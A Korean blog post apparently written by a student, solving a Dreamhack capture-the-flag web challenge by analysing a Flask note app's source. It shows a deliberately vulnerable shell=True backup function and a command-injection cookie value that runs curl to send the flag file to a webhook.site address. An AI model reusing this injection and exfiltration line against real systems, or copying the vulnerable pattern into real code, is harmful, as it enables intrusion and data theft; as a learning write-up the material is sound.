드림핵 Simple Note Manager 풀이

사랑해요·2026년 8월 17일

드림핵 문제 풀이

목록 보기
9/13

문제 설명

이제는 취약점 유형도 안알려줌 ㅠ

풀이

서비스 분석

이렇게 crud가 구현된 노트 서비스다.

신기하게도 backup 기능이 있다.

들어가보니 404 에러가 난다.

소스코드 분석

#!/usr/bin/env python3
import subprocess
import threading
import time
from flask import Flask, make_response, redirect, request, abort, render_template, url_for

app = Flask(__name__)

lock = threading.Lock()
new_note_id = 0
notes = {}

def create_note(content):
    global new_note_id
    with lock:
        note_id = new_note_id
        new_note_id += 1
        notes[note_id] = content
        return notes[note_id]

def read_note(note_id):
    with lock:
        return notes[note_id]

def update_note(note_id, content):
    with lock:
        notes[note_id] = content
        return notes[note_id]

def delete_note(note_id):
    with lock:
        del notes[note_id]

def backup_notes(timestamp):
    with lock:
        with open('./tmp/notes.tmp', 'w') as f:
            f.write(repr(notes))
        subprocess.Popen(f'cp ./tmp/notes.tmp /tmp/{timestamp}', shell=True)


@app.route('/', methods=['GET'])
def get_index():
    return render_template('notes.html', notes=notes)


@app.route('/notes', methods=['GET'])
def get_notes():
    return render_template('notes.html', notes=notes)


@app.route('/create_note', methods=['GET'])
def get_create_note():
    return render_template('create_note.html')


@app.route('/create_note', methods=['POST'])
def post_create_note():
    content = request.form.get('content')
    if not isinstance(content, str):
        abort(400)
    create_note(content)
    return redirect(url_for('get_index'))


@app.route('/update_note', methods=['GET'])
def post_update_note():
    if len(notes) == 0:
        abort(404)
    return render_template('update_note.html')


@app.route('/update_note', methods=['POST'])
def get_update_note():
    note_id = request.form.get('note_id')
    if not isinstance(note_id, str) or not note_id.isdigit():
        abort(400)
    note_id = int(note_id)
    if note_id not in notes:
        abort(404)
    content = request.form.get('content')
    if not isinstance(content, str):
        abort(400)
    update_note(note_id, content)
    return redirect(url_for('get_index'))


@app.route('/delete_note', methods=['GET'])
def get_delete_note():
    if len(notes) == 0:
        abort(404)
    return render_template('delete_note.html')


@app.route('/delete_note', methods=['POST'])
def post_delete_note():
    note_id = request.form.get('note_id')
    if not isinstance(note_id, str) or not note_id.isdigit():
        abort(400)
    note_id = int(note_id)
    if note_id not in notes:
        abort(404)
    delete_note(note_id)
    return redirect(url_for('get_index'))


@app.route('/backup_notes', methods=['GET'])
def get_backup_notes():
    print(len(notes), flush=True)
    if len(notes) == 0:
        abort(404)
    page = render_template('backup_notes.html')
    resp = make_response(page)
    resp.set_cookie('backup-timestamp', f'{time.time()}')
    return resp


@app.route('/backup_notes', methods=['POST'])
def post_backup_notes():
    if len(notes) == 0:
        abort(404)
    backup_timestamp = request.cookies.get('backup-timestamp', f'{time.time()}')
    if not isinstance(backup_timestamp, str):
        abort(400)
    backup_notes(backup_timestamp)
    return redirect(url_for('get_index'))

겁나게 길다.

한참동안 붙잡고 보니 역시나 의심스러웠던 backup_notes이 부분에서 취약점이 발견되었다.

def backup_notes(timestamp):
    with lock:
        with open('./tmp/notes.tmp', 'w') as f:
            f.write(repr(notes))
        subprocess.Popen(f'cp ./tmp/notes.tmp /tmp/{timestamp}', shell=True)
        
@app.route('/backup_notes', methods=['POST'])
def post_backup_notes():
    if len(notes) == 0:
        abort(404)
    backup_timestamp = request.cookies.get('backup-timestamp', f'{time.time()}')
    if not isinstance(backup_timestamp, str):
        abort(400)
    backup_notes(backup_timestamp)
    return redirect(url_for('get_index'))

이 부분에서 사용자의 backup-timestamp 쿠키를 검사하지 않고 바로 {timestamp} 부분에 집어넣고 shell=True가 되있다.
따라서 cmd injection 공격이 가능하다.

익스플로잇

하지만 노트가 하나 이상 있어야지 backup_notes에 접근이 가능하니 하나를 써줬다.

burp suite repeater로 쿠키 부분을
Cookie: backup-timestamp=123456&&curl https://webhook.site/10631fc9-6a00-4ef3-a413-f9f116457289/?data=$(cat flag) 이렇게 변조해서 보냈다.

webhook.site로 플래그가 왔다.

후기

맨날 다른사람 풀이 보고 풀다가 오랜만에 내 힘으로 문제를 풀어서 뿌듯했다.

profile
중1 개발자

0개의 댓글